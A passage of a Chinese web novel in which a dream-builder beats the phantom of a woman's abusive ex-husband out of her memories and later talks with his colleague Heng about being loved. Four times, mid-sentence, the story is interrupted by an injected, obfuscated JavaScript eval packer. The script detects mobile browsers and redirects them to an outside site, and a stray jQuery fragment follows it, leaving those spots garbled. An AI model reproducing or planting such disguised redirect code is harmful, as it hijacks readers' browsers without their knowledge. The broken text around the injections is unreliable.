这是一段经过删减的记忆。自然遗忘是一个过程,这屋子里所有的东西都是确定的,可见事情虽然已经过去了三十多年,钟灵阿姨对这个环境依然记忆犹新。但珩强行删掉了记忆的部分内容,所以它现在以一个空荡的框架存在于钟灵阿姨的脑海中,她记得这间屋子,记得这段时间,但一点也想不起来这段时间里到底发生了什么事情。 “江老师?你还在吗?听得到我说话吗?”她的声音从四面八方响起。 “我在。你在想什么?这里好像不对。” “我在想我女儿。你在哪里?” “我在一个看起来像九十年代的客厅里。但里面什么都没有——” 正说着,一阵寒气又从我的颈后飘过。好像有什么一直在这里等着,我莫名地觉得这种感觉熟悉,这地方肯定不对,这地方肯定不对。我不由自主攥紧了手心,但现在我在梦里,我的手里空无一物。那阵寒气一直在屋里打转,像有什么幽灵,在这里盘桓不散。这肯定不是她的“家”,用珩的话来说,这是一个不稳定的核心。我还是赶紧走吧。 “地方好像不对,阿姨,你想想别的?” 那阵寒气又来了。这是一团恐惧,一团在这个屋子里无处不在的恐惧。我不知道它属于谁,但它很强烈。它让我想起了十四岁的我设置的陷阱,那个黑洞洞的地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324156|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方,里面全是这种东西。 “我想什么?家,我就一个女儿,我只能想她——” 我让她停下,越让她停下,她不听话的潜意识越是继续想女儿。成年之后的女儿没和她住,她一想女儿,时间就回到过去,她越想,我就越被她带着往这间屋子里钻。那阵寒气始终纠缠不散,现在是白天,外面有阳光,我的胆量比平时大,我不由自主地去找寒气的来源。它充满了整个空间,但在某些地方,它的浓度更高,于是在浓度差之下,恐惧在屋里无休止地循环流动。 我在屋里走,这里比我的陷阱好多了,我并没有太害怕。我循着恐惧的浓度梯度往前走,一路走,走到了厨房。 这是个普通的旧厨房,地方很小,料理台旁边是水槽。我鬼使神差地走到水槽旁边,我的身体里残留着筑梦师的本能,他对负面的东西有特别的兴趣,我很早就发现了这一点。童年被虐待的经历使他对自己有本能的恨意,他古怪的自毁倾向领着我走向那个水槽—— 厨房里呼啸而过的寒风霎时停止。有人站在我后面。 …… 珩,珩,珩。好的,我准备好了,一秒内喊珩。 来都来了我回头看一眼那是什么,我应该不会在别人梦里被砍死吧? 好的。预备,预备—— 我攥紧手心不存在的珍珠手链,忽然转过身去。 珩站在我面前。 那不是现在的珩,那好像是她的一片灵魂碎片。她还留着长发,她穿着一条复古设计的波点V领连衣裙,戴着个巨大的港风宽头箍,安静地站在我面前。她的眼神比我认识的珩要温柔一些,要是珩本人看到我被危险吸引过来了,下一秒应该要骂我。而她只是站在那里,面无表情地看着我。 “走错了,不是这里。”长发珩说,“你让她别想女儿了,你让她想想她老公。” “……好。”我顺口答应,之后大喊,“阿姨,你想想你爱人?” “谁?爱人?”钟灵阿姨有点疑惑,“但是我离婚了,我——” 水龙头在我分神的时候悄悄打开了。 长发的珩还面无表情地站在那里看我。水哗哗地流着,水槽被塞上了,随着水位的上升,水流的声音渐渐变得尖锐,像什么东西在我的身后怪叫。 珩忽然笑了一下。 那绝对不是珩,她不会这么对我笑,这表情像是……像是我那个暴戾的继父,他每次准备要冲上来,揪着我的衣领把我扔到地上的时候,都会露出这样一个表情。那不是笑,是动物准备撕咬猎物之前,习惯性露出尖牙的动作。 “我想不起来了,我离婚了,他姓什么来着,好像姓吕,好像是,好像……” 长发珩脸上某块肌肉被她的回忆激活了,她的脸古怪地抽搐了一下。 “快停下!你别想他!” 45. 暴揍家暴男 她的潜意识开始顺着“吕”这条线索飞快地奔跑,面前人的脸上的肌肉一跳一跳,先是脸,然后是脖子,然后是手臂,我清楚地看到他的肌肉随着钟灵阿姨无法停止的联想跳动,珩冷漠的脸上出现了很陌生的表情——不,其实算不上陌生。我见过太多次了,这样的脸,这样的充满怨恨,想要把人撕开,碾碎的眼神。我曾经多次被我的继父这样丢在地上,扔到墙角。他总会居高临下地站在我面前,恶狠狠地辱骂我,之后对我拳打脚踢,直到我哭着喊着求饶,直到我重复他的话,嘶哑着辱骂我自己,或是疼得喘不上气,抱着头蜷成一团在地上颤抖为止。 珩的脸忽然溶解了,一个狰狞的男人脑袋从她的身体里冒出来,他像一条新生的蛇,一点点随着钟灵阿姨拦不住的记忆激活,从珩的形象里脱出来。 “你别想他了,你想想珩!”我大喊。 “什么?珩?我心跳好快,好害怕,我在害怕什么,珩,我怎么想,珩……” 她被镇压多年的恐惧淹没,完全失去方向,她不知道从哪里开始想珩了。不行,我必须立即找一个和这个男人毫无关联的东西,让她停止联想。 “你想我!我!江夷!我在你旁边,我今天穿的什么衣服?” 一个和我差不多体型,甚至比我还要壮一点的男人已经站在了我的面前,现在珩只剩下了半截小腿,他的肌肉还在生长,他像一棵失控的树精,寸寸深色的树皮一般的皮肤要从珩的身体里裂解而出。 “好,你今天穿的……” “白色的,是不是?中间印了个米老鼠,米老鼠是什么颜色的?” “米老鼠?米老鼠是黑白的吧?是吗?” 男人咬牙切齿地看着我。他巨大的身体支在珩两截竹竿似的小腿上,他是一段隐藏的记忆,实体需要靠钟灵阿姨的回忆来复活。我衣服上该死的米老鼠让钟灵阿姨停止了对他的回忆,他卡在原地,只好恶狠狠地看我。 “米老鼠旁边呢,米老鼠旁边是谁?” “一只鸭子吧?叫什么?” 她回忆唐老鸭叫什么名字的时候,我把水龙头关上了。 “提醒你一下吧,第一个字是唐。” “唐,唐什么?” 虽然不知道这个男人做了什么,但就他假扮珩骗我,就他这凶神恶煞的鬼样,我至少可以断定他不是个什么好人。 我又变出了我的专属武器,朴实无华打人很疼的大水管,我走到不能动弹的男人面前,盯着他看。 “几个意思,”我说,“欺负我是新人对吧,骗我?” 珩肯定来检查过。这个狡猾的男人,应该就是钟灵阿姨的前夫。他和她交错的记忆很多,珩作为外人,就算法力再高,也难免遗漏。他肯定是藏在某个犄角旮旯里,间接通过他们的女儿激活。今天见来的是我,我看起来比较好骗(这是张雨铃阿姨说的,她说我的眼神像个刚毕业的大学生,不看合同就签字那种。珩当时在旁边笑得很开心,因为我确实是),他就出来骗我,借我之口引发钟灵阿姨的回忆。 “你觉得我好欺负,好,那我就让你看看我好不好欺负。”我说,之后冲外面大喊,“等等,别想我的衣服了。你想想你前夫?” “啊?” 她的潜意识重新运作,男人迅速生长,他的皮肉从虚假的珩的身体里崩出。 一段记忆快速地闪回,钟灵阿姨在尖叫,男人抓着她的头发,把她摁到了装满水的水槽里,水槽里水瞬间溢出,泼了一地。水龙头还开着,水冲起她散开的长发,她脸上伤口的血渗出,淡红色的水汩汩地往下淌。 “这是什么?我想不起来任何东西,但是我莫名其妙地好害怕,这是什么——” 我从记忆碎片里挣脱,男人冲向我,企图像当年对钟灵阿姨一样,将我的头撞向桌角,之后按到水里。 噩梦。我这辈子最不怕的就是噩梦。 我一步都没退,等他出手,我一拳打在他的脸上。他是一个幻影,而我是个经过训练的筑梦师,他的脸像个没成型的泥娃娃,被我砸出一个深坑。他变形的眼睛还盯着我看,他追过来,我右手抓着水管,一管子从他的头顶砸下。 水管砸到他的时候,我感觉到一道熟悉的灵力从我的身体里钻出,筑梦师在本傻白甜的胸腔里等了四年,终于等到他出来破坏的时刻。他的怨毒比这个家暴男要多得多,家暴男有什么本事?除了自己老婆,他也不敢欺负谁。我就不一样了,虽然我现在怂得被珩瞪一眼就不敢说话,但本人曾经大奸大恶坏得没边,杀没杀过人我不知道,但揍个家暴男,绝对在我的能力范围之内,很内很内那种。 他被我砸得稀巴烂,变成一股黑水,往地上的马赛克里面渗。本人有个特点,就是强迫症。我清理东西,那必然是要清理到干干净净一点不剩为止的,否则心里难受。我继续诱导钟灵阿姨去想她的前夫:“他很高吧?是不是和我体型差不多?” 家暴男想逃跑,但钟灵阿姨在回忆他,他的身体被迫从地砖缝里冒出来,刚凑合成个形,就被我打地鼠似的一棍子打爆。地上全是黑色的碎渣渣,他一开始还想揍我,现在眼看打不过,满屋子逃跑。我可没打算放过他,我要让钟灵阿姨一直想,一直想,想到他的碎片都出现在我的眼前,被我一个个打烂。他被我揍得抱头鼠窜,我越打越过瘾,几乎有些收不住力道,钟灵阿姨的地砖被我砸烂了几块,她在外面“哎哟哎呦”地喊头疼。 “怎么了呀?我怎么听到脑子里哐哐响啊?” 我正追着剩下的家暴男碎片跑,我一边跑一边喊:“没事,你家有蟑螂,我顺带给你打了。” “啊!”她在外面尖叫,“多吗多吗?怎么办?我最怕蟑螂了。” 她开始想蟑螂,前夫碎片缩进地底,企图走下水道逃窜。 “前夫怕蟑螂吗?” 前夫碎片刚躲进去半个身子,被我一句话强行拉了回来。 我走到他旁边,一管子杵在他身旁的地上。他现在已经被我打得只剩下小半截,现在缩成了一个和珩差不多体型的小瘦子。 我俯身下去,拍了拍他的肩膀:“谢谢你啊,要不是你,我还不知道可以通过联想强行把你叫出来。感谢你的教诲,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328665|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安心去吧。” 最后一水管落下,躲在钟灵阿姨梦里阴魂不散的家暴男,化作一阵黑色小雪。他消失的瞬间,屋里盘旋不止的寒气也随之停息,没了风,小雪直直地落在地上,变成小小的一堆黑影。 …… 有点晕。 有点累。 刚刚打得太过瘾了,一下子忘记看蓝条了。筑梦师的技能都是大招级别,但我本人是个训练两个月就匆忙上岗的实习生,放了几个技能,蓝条一下子就空掉,好,我困了。 困…… …… 再睁开眼的时候,我果然动不了了。我首先看见钟灵阿姨担忧的眼神,她的眼睛真是非常温柔,温柔得让我有些内疚,我不该让她担心的。然后我看见了珩,她叉着腰站在我面前,看起来不生气,甚至好像有点想笑。 “江老师,你还好吗?”钟灵阿姨问。 我想点头,但现在我醒着的唯一一条反射弧是管说话的,我动不了,只能僵硬地躺在那里回答:“还行。” “打挺爽啊江夷,出息了。” 嘿嘿。嘿嘿嘿嘿嘿嘿。 我膨胀:“还行吧。” 珩忽然靠近,她陡然变大的脸有点吓人,我有一瞬间以为她要变家暴男,刚刚美少女瞬间变成狰狞老男人的场景,说实话算个高级别的噩梦。我动不了,退无可退,只好眼睁睁地看着她的脸追到我面前。 “为什么不叫我?” 前一秒打架打到连房子都要砸烂的本猛男,被她一瞪,怂得不敢呼吸。 “他怕你啊,见我来他才出来的。”我解释道,“这叫诱敌之计。” “他但凡再撑一分钟,你就被他绑在那个屋子里了。” “没事,他这不是没撑住吗?” 她瞪我。好恐怖一女的,她瞪我。 “没事,这不是还有你吗?” 她还瞪我。好恐怖一女的,她还瞪我。 “对不起我错了,下次不敢了。” 别的我不会,滑跪我是专业的。错哪不知道,先跪就对了。 她好像并没有生气,我道歉惯了,几乎脱口而出,今天她不知怎么了,听到我这句话,眼神又松动了一瞬。她看向我,好像想说什么,最后又没说。她叹了口气,说:“我担心你有些多余,是吧?你挺厉害的。” 我听她叹气,以为她要教育我,结果她居然叹着气夸我,事情有点奇怪,但反正是夸我了。我膨胀:“那是,我的噩梦比他恐怖多了,我见过大场面的。” 她被我逗笑了,轻轻笑一声,之后又看我。她又用那种观音菩萨的眼神看我了,我不知道我又怎么引动了她的天神怜悯。我没说什么……吧? 她还看我,她一直看我,我动不了,只好由着她看。她的眼神几乎有些温柔了,几乎让我想起那个我从噩梦里被她救出来的早晨。她的眼里似乎有些莫名的踌躇,她好像在控制一些什么冲动,眼里有些平静的暗涌。 但最后她还是什么都没说,一切戛然而止,她站起身,之后我被熟悉的魔力包围,瞬间陷入沉睡之中。 46. 吃不吃芋圆 家暴男被我打得魂飞魄散之后,钟灵阿姨终于可以通过回忆她女儿,回到自己的家里。那是一间比原来小一点的房子,但没有终年不息的寒气,也没有自动打开的水龙头,电视可以播放动画片,收音机在放说书节目,窗外的风轻轻地吹起钟灵阿姨自己裁的格子布窗帘,一切都显得温馨,终于是个家的样子。我在她的家里重新看到了她——不同于其他阿姨,她不以二十几岁最漂亮的模样出现,站在我面前的是四十岁的她,历尽沧桑,绝处逢生,终于摆脱了家暴的前夫,走向新的生活。她关于上一段婚姻的可怕回忆,被珩潦草地缩进了她的离婚证本本里,自此问起她,她就只记得“结过婚但是丈夫出轨所以离婚了”,中间细节全部遗忘。 “我知道珩让我忘掉了一些东西,但那些是什么?”钟灵阿姨问我,见我好像不想回答,她又补充道,“是一些很可怕的记忆,对吗?我那个前夫,他不止出轨吧?” 我沉默。 “他是不是打孩子?或者打我?”她问,“这是我猜的。因为我女儿三十多岁了,现在还是很抗拒谈恋爱,我觉得他要是只是出轨,然后我们离婚,我女儿应该不会像现在这样。她……她对男人有种奇怪的畏惧,每谈一次恋爱,都疑心对方要杀她。” 见我含糊其辞,依然不愿意正面回答,她也没再继续追问下去。她叹一口气,之后看我。“不过脾气坏的男人真是可怕,真打起来了谁打得过他们呀?以前脾气差打老婆的男人多,听说过好多次了,现在还这样吗?你们这一辈的年轻人应该好点了吧?” “呃,这个跟年代也没有必然联系,主要还是看人吧?”我说,“找个家庭环境和睦的可能安全点?从小生活在充满爱的环境里,人应该会善良温和一点吧?” “是啊,我看你就——” 她的话陡然刹住。我险些以为我的家庭背景被她知道了,后来看她一脸歉疚,才想起来我在他们这里的背景故事是“父母早亡奶奶带大”,她以为她不小心触碰到我的旧伤疤了。 “我奶奶脾气很好,从来不向我发火,所以我脾气也很好。”我若无其事地顺着她的话说,并且轻轻地把话题转走,“所以结婚前提早了解一下对方的家人,还挺重要的。” 她又叹了一口气。“也怪我当时没想清楚,我也没想到他是个混账,害了我自己,还害了孩子。我女儿谈过几个我觉得都挺好的,但她信不过别人,最后总说对方’不爱她’,之后分手。” 她说完,之后看我:“她有点神经过敏了吧?我觉得她太小心了,也许是被她爸吓的,总是一些细节不对,她就觉得别人不爱她了。再有点不对,她就疑心别人要谋财害命。” 珩给她删记忆是真的删得很干净。珩告诉我的故事是,她以前是舞蹈演员,和比她年纪大的导演结婚了,以为是真爱,对方切断了她和外界的所有联系,出轨,家暴,什么都做,最后她差点被淹死在厨房的水槽里,才终于下定决心离婚。离婚之后创伤后应激障碍,每天都恍恍惚惚,什么都做不了,有时候会忽然疑心前夫藏在家里等她,极度恐慌之下,多次尝试割腕自杀。她把这些事全都忘记了,但她当时才十岁的女儿统统都记得。她女儿不愿意结婚,完全合乎常理。 “我说她,她就跟我吵,说什么’靠近你肯定有所图谋谁会无缘无故爱你’,再说就’这世界上本来就没有爱’。我说她偏激,她就生气。你说她是不是有点太……” “她其实没错。我的意思是,这世上确实是没有爱的。” “……” 我平时看起来像个很受家里人宠爱的小孩,她本来问我大概是要得到一个支持她的答案,以减轻她对女儿的愧疚,还有对自己过去的恐惧和怀疑,但我的答案让她有点意外。 “本来爱就是很难获得的东西啊,只有两个不计得失的傻瓜,才会去无缘无故没有图谋地就爱对方,除了父母和孩子,谁也不会天然地爱谁。甚至……” 甚至父母也不会天然地爱孩子。我的生父就抛弃了我,我的生母则把我当成妨碍她幸福的累赘,我十岁了,明知道人贩子把我抓走,也不会卖到谁的家里去,等待着我的就是有用的器官被拿走,然后像个破布娃娃一样被扔到哪里乞讨,某天病得治不好了,就被绑个石头,大晚上地被扔到湖里江里,绝望地在黑漆漆的水里窒息死去。我在这人间只活了四年,几乎不谙世事,也能想到这样残忍的结局,他们怎么会想不到?他们只是不在乎。把我当垃圾一样扔掉了,之后我怎样被处理,他们漠不关心。 想到过去,我的眼神大概黯淡了下来。虽然我很快回过神,钟灵阿姨还是发现了。她歉疚地靠近我,说:“对不起,是不是提起你的伤心事了?抱歉。” 关于过去的回忆,就像她关于前夫的回忆一样,哪怕我的理智喊了停下,它还是自顾自地伸展铺开。那个可怜的小孩,他不停地在追问为什么。为什么?为什么是我,为什么我怎么努力,事情都无法改变?我真的一点都不好,一点都不值得被爱,甚至一点都不值得被可怜吗?这些问题我过去已经想了二十多年,它们没有答案,我也已经不需要得到什么答案了。我已经长大了,我是个大人了,我已经过了应该被爱护的年纪,现在怎样都能活下去,这一切都无所谓了。 “没关系,事情已经过去很久了,我早就接受了。”我扯出一个微笑,“至少他们还在的时候对我很好,电视剧里怎么说的来着,’不在乎天长地久只在乎曾经拥有’,至少我拥有过,只能说有点遗憾,但我也算不上太倒霉。” “……谢谢你。”她忽然向我道谢,她的声音听起来略略有些颤抖,等她抬头看我时,她看起来像换了另一个人。她湿润的眼睛和颤抖的鼻尖,看起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16354556|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像褪掉表层外壳的新生儿,脆弱敏感,内心过分裸露。我想她大概是知道自己经历过什么的,毕竟那个人藏在她的噩梦里,只是她不愿意承认自己还记得这一切。 她抬头看我:“你真的很好。真的。你和珩是我见过最好的人。” 我笑:“把我和珩放一起夸,太抬举我了吧。” 我感觉到有什么东西靠近我。嗯。钟灵阿姨忽然看向我身后的榕树,我随之回头。珩不知道什么时候站在那里,她又站没站相地歪在树干上,手里拿着她的手机。“吃不吃芋圆?”她问。 我饿得头昏眼花,一听到食物名称,马上两眼放光。我弹起来走到她旁边,拿过她的手机就开始点单。钟灵阿姨表示她要吃“随便”,被珩“随便”多了我已经学会了怎样点“随便”,我给她点了个经典口味仙草芋圆,然后给自己点了个超豪华加大份芋圆。珩看到订单的时候果然横了我一眼,我不管她。我吃得多也不是一天两天的事情了,她要请我就该预料到我会狠狠点!预料不到那就是她的问题。 珩今天有点奇怪,她付完这一单,没有转身就走。她又叫住我:“吃不吃章鱼小丸子?” “你请啊?” “嗯。” “那当然吃!” “喝奶茶吗?” “还是你请啊?” “嗯。” “……你做什么对不起我的事情了?怎么忽然这么大方?” 她白我一眼:“什么叫’忽然这么大方’,你对我有偏见?你爱喝不喝,我钱也不是大风刮来的,请你话还这么多。” “我喝我喝,对不起,是我以小人之心度你的君子之腹了,谢谢老板。老板你喝不喝?他家之前有第二杯半价。” …… 真不知道珩怎么了,她忽然间请大家吃附近商场那家贵价甜品,虽说她平时并不是一个抠门的人,但这阵仗真让我有点怀疑她是不是偷偷把我卖了。吃芋圆的时候她就坐在我旁边,我忍不住偷偷观察她。她安安静静地吃着,和她吃过太多次饭,她这个吃饭速度,一看就是不饿。算了,别纠结为什么了,我好饿。我端着超级大的一碗刨冰仙草芋圆,吸得滋溜滋溜响,我吃得有些狼吞虎咽,冻得我两边太阳穴跳跳痛。她对甜食兴趣一般,吃了半碗就把勺子放下。她就这样坐在旁边看我吃,见我终于中场休息把头抬起来,她看着我,问我:“好吃吗?” “好吃啊。”我说,“你怎么也知道这家,真是有品味。” “拜托,你天天在那里叨叨,花生酥烤面筋手撕鸡米线煲仔饭章鱼小丸子芋圆。” 我差点把嘴里的仙草冻吐出来。好恐怖一女的,什么记忆力,我每天嘴痒叭叭叭说的东西她居然记得,而且她还按照店和社区活动中心的距离,给这些店排了序。太可怕了太可怕了这女人,下次都不敢乱说话了。 47. 心旌摇曳 吃完一大盆芋圆,章鱼小丸子和奶茶到了。社区活动中心里的其他红背心义工,平均年龄60岁,对这种零食毫无兴趣,因此这是我和珩两个人的第二份下午茶。把珩的奶茶拿出来的时候我狠狠地嘲笑了她。 “中杯,不另外加糖。”我看她,“不另外加糖能喝吗?那一点糖也喂不肥你吧?你这么有身材管理的意识吗?” 她不想理我,当没听见,掏出吸管,噗通一声插进杯子里,自顾自地喝起来。 “哎,咖啡因敏感的人真是惨啊,下午一点就只能节制地喝中杯咯~” 她出手如风,简直像条在水里快要睡着的鳄鱼,忽然以迅雷不及掩耳之势扑上来咬人,我一点没反应过来,她就把我的吸管抢走了。 “要不要这样,吸管拿走了我怎么喝?” “我就是不让你喝啊,喝奶茶妨碍你说话啊,你这么爱说话,怎么能不说话呢?不说话憋死了怎么办呀?” 真是个争强好胜,分毫不让的女人,非要吵赢我不可! 我渴了,大丈夫能屈能伸,不跟她计较。“你赢了你赢了,把吸管还我吧,我要渴死了。” 她把吸管还我,嘴上赢了她还要追一句。“你好幼稚。”她说。 “不好意思,我四岁,就是这么幼稚。” …… 事实证明她点中杯奶茶是个明智的选择。晚上八点,到了平时我们躺床上加班的时候,我们两个一起睡不着。 八点十五分,她掐我一下。 “你睡着了吗?” “睡着了。” “你不是嘲笑我吗,你怎么也睡不着啊,咖啡因不敏感的人?” “比你好,我喝大杯睡不着,你喝中杯就睡不着。” 八点半。毫无睡意。 夜幕降临,人变得分外柔软,用路迢的话来说,晚上就是人类心旌摇曳的时分。我辗转难眠,白天的时候我轻易放下了钟灵阿姨的事,这时候我不由自主地又想起来了。准确点来说,想不明白的不是我,是他,是我胸腔里的筑梦师。我向来对爱没有概念,我存在于这个世界上的短短四年里,还没来得及感受如此浓烈的情感。但是筑梦师很疑惑,他的世界观是这样的——世上没有无缘无故的爱,一切事情都必有其缘由。换言之,他认为只有完美的人才会被爱,越完美,越能被爱。这事情是线性的。 但钟灵阿姨的事让他很困惑,因为钟灵阿姨几乎是个完美的女人,她美丽,她优雅,她温柔,她体贴,她几乎可以说是一个完美的恋人,完美的妻子,但她却一直没有得到爱情,甚至没有得到最低程度的珍惜。她是个反例,瞬间推翻了筑梦师的信念,毕竟他一直认为自己没有得到充分的爱,是因为他不够强大,不够优秀。当他无限趋近于完美时,得到属于他的那一份爱的概率就会无限趋近于一。他很生气,但跟他朝夕相处了这么些时间,我知道他其实不是在生气。他在用愤怒掩饰他的失望和彷徨,这家伙就是这么拧巴,他在我的胸腔里内耗,连带着影响了我的内部生态,他尚且彷徨,我比他更彷徨,毕竟我比他差劲多了,如果钟灵阿姨都不被爱,如果他都不被爱,那我呢?像我这么普通的人估计什么都得不到吧。 我在宁静的夜晚里独自感伤的时刻,隔壁某个睡不着很焦虑的人又掐我一下。 “你睡着了吗?” “睡着了,呼,呼,我在打鼾你听到没。” “你在想什么?” “你猜?” “你在想钟灵?” ……她真的好可怕。 “你怎么知道?” “因为我也在想她的事啊。” 我看向她。她平躺着,看着天花板发呆,我不爱拉窗帘,八九点小区里还很亮,她的眼睛在窗外透进来的灯火下亮亮的。她很少有流露感情的时刻,因而我总觉得和她之间有层隔膜,好像我们是两个世界的人,我还在红尘中跌跌撞撞,而她飘在我的上空,静默地俯瞰这世间。上次她目送多动症浩仔离开的时候,眼里现出了些许感伤,此刻也是如此。这种时刻会让我觉得她真切地离我很近,这种感觉很危险,我的心跳不由得加快了,我悄悄松开了和她紧握着的手,怕她感受到我的脉搏。 她偏过脸来看我:“你怎么想的?” “……主要是他想不明白。”我指了指自己的左边胸口,“他觉得自己不被爱是因为不够好,现在他看见一个很好很完美的人,依然不被珍惜。他的信念崩塌了,他一方面觉得爱就是一个巨大的骗局,一方面又看到世界上还有人真的得到了爱,他很混乱,又嫉妒得要发疯,一肚子复杂的火气无处发泄。” “那你呢,你怎么想的?” “我?” 我觉得我这辈子都不会被爱了。以前我还没有这么悲观,但当我意识到我可能背负着一个可能很丑陋,或是很危险的秘密时,我觉得不会有人愿意接近我了。就算有人愿意,我也不想去接近别人,我就像个不定时炸弹,如果总有一天我会爆炸,我宁愿安静地藏在某个犄角旮旯里,自己一个人死掉,谁也不要连累。而且……谁要爱一个来路不明的家伙呢?虽然我被抹掉了很多记忆,他的自卑,他的敏感,他的自毁倾向还是刻在了我的骨头里。我很难直接和珩说这些,我的这些想法让我显得更加丑陋,我好像一只阴沟里的老鼠,哪只老鼠会出来问,会有人喜欢我吗?这是个自取其辱的问题。 “是呀,你啊,你别说他,你是怎么想的?” “……我没怎么想。” “你在伤心?” “啊?” “你的伤心都飘出来了,你看,”她伸出一只手,在我头顶的空气里搅来搅去,“越来越多了,你再伤心下去,空气里全是这些情绪,窗台的虎尾兰就要被你难过死了。” 她好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16359161|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在说梦话,因为我什么都看不见。但她拆穿了我,我的城墙破了一个洞,马上就要拦不住心里的许多情绪。晚上人真是敏感,我忍不住了,算了,我勇敢一次吧,做一只光天化日招摇过市的老鼠! “我在想,世界上不存在无缘无故的爱吧?但像她这么完美的人都不被爱,那不完美的人,有缺陷的人,有……明显缺陷的人,还有被爱的可能吗?” 我的声音越来越低,问到最后一句话的时候,几乎有点心虚。唉。我马上就后悔了。我为什么要问她这种问题,这对于我和她的关系来说有些过于亲密。筑梦师已经开始在我的胸腔里踢墙壁,他觉得我轻易袒露内心的脆弱,简直蠢到家了。 “第一个问题,我和你的想法一样,肯定没有无缘无故的爱。”她说,“钟灵只是没遇上珍惜她的人,她要是再试试,肯定会遇到很爱她,对她很好的人。但因为她已经有女儿了,她女儿就很爱她,她没必要再大费周章,去找一个臭男人爱她。每个人都会有可爱的地方,能不能遇到爱他的人,我觉得是个概率问题。对于钟灵这种很可爱的人来说,这个概率是百分之九十五,对于那种看着不怎么样的人,这个概率可能是百分之五。总之不会是零,那些歪瓜裂枣的鱼还有人觉得丑萌丑萌的呢。” 我看珩一眼。 …… 一个问题跑到我的喉咙里,筑梦师感知到了危险,他威胁我似的,踢了墙壁一脚。 你可千万别乱说话。你今天说的话已经很多了。我警告你,你和她只认识了三个月! 他缩在我心脏和胸壁之间的狭小区域里,他恐吓的话震得我的心脏也随之乱跳。 但是我有点太了解他了,他……他也想问。他这人就这样,一点也不坦荡,总是假装迫不得已,其实他是迫不及待。伪君子。 “那我呢?我是百分之多少?” 那家伙愣住了。这大概是他二十多年来都没敢做的事,他十岁就敢大半夜的一个人离家出走,但却从来没敢问过别人,我好不好?你喜不喜欢我? 珩转过身来,看着我,眼神难得地认真,语气难得地郑重,好像在宣布什么重大的结论:“你当然是百分之九十五啊。” …… 我想装出一副臭屁的样子回她“怎么不是百分之百”,但我装不出来。我被震住了,因为她是认真地在回答我。她似乎还觉得这话可信度不够,她看着我的眼睛,目光诚挚而恳切:“自信点,江夷,你很好的。你很善良,你很勇敢。” 这话我听过,我在那个从噩梦里被她救出来的早晨听过。真该死啊某些人,一辈子没被谁夸过,当时听来如此敷衍的一句赞美,也小心翼翼原封不动地藏到心底。 “……” 死嘴你快说话啊,你快胡说两句,你别愣在那里,像挖到什么宝藏一样,自顾自就拿着这句话翻来覆去地读,这样显得你很没见过世面! 48. 我可以抱你吗 “你怎么呆住了,喂!你卡了?”她伸手在我面前晃晃,是的我卡了,筑梦师连带我百分之九十的智能都在原地不动,她的手指就像个在屏幕上徒劳地乱晃的鼠标。 “你在怀疑吗?诶,我说真的。大家都很喜欢你,你没发现吗?活动中心的老人家经常问你什么时候来,他们都说你热心又善良,说这年头像你这样的年轻人不多了。我是想说,你肯定会遇到珍惜你的人,爱你的人。父母是无法选择的,你只是投胎的时候运气不太好,那不是你的错。浩仔的妈妈总是问我你爸妈是怎样的人,让我打听打听怎么能把男孩子教得像你这么温柔……喂,你有在听吗?” “我有,我有在听,我一直听着呢。”我回答。我的大脑很混乱,两个意识在打架,我和他两个人都很想抢着出来说话,与此同时不想珩看到对方。他嫉妒我,我很确定,从今天早上的艇仔粥开始他的攻击性就陡然变强,他好像觉得是我抢占了属于他的东西,明明珩和我比较熟悉。她明明比较喜欢我。 我们两个在抢显示器,抢扬声器,互不相让,难分高下。 “可是我,我……” 我的过去是一片黑色的沼泽,底下填满了腥臭的,腐烂的淤泥。我是个麻烦,甚至是个坏人,连我自己都不知道我做过什么。我不能连累别人,而且……我可能根本就是个混账。我表面上是个热心的年轻老师,但我肯定不是。他们说我好,是因为他们不知道我真实的样子。但他们迟早会知道。那时候他们还会这么说吗? 机体的扬声器被我占领,但他在我说话的时候偷袭,这个人完全不讲武德,他直接踹了我一脚,用一阵剧烈的心绞痛强行截断了我的话。 “江夷,你就是他,他就是你。” 她居然是在同时和我们两个人说话。 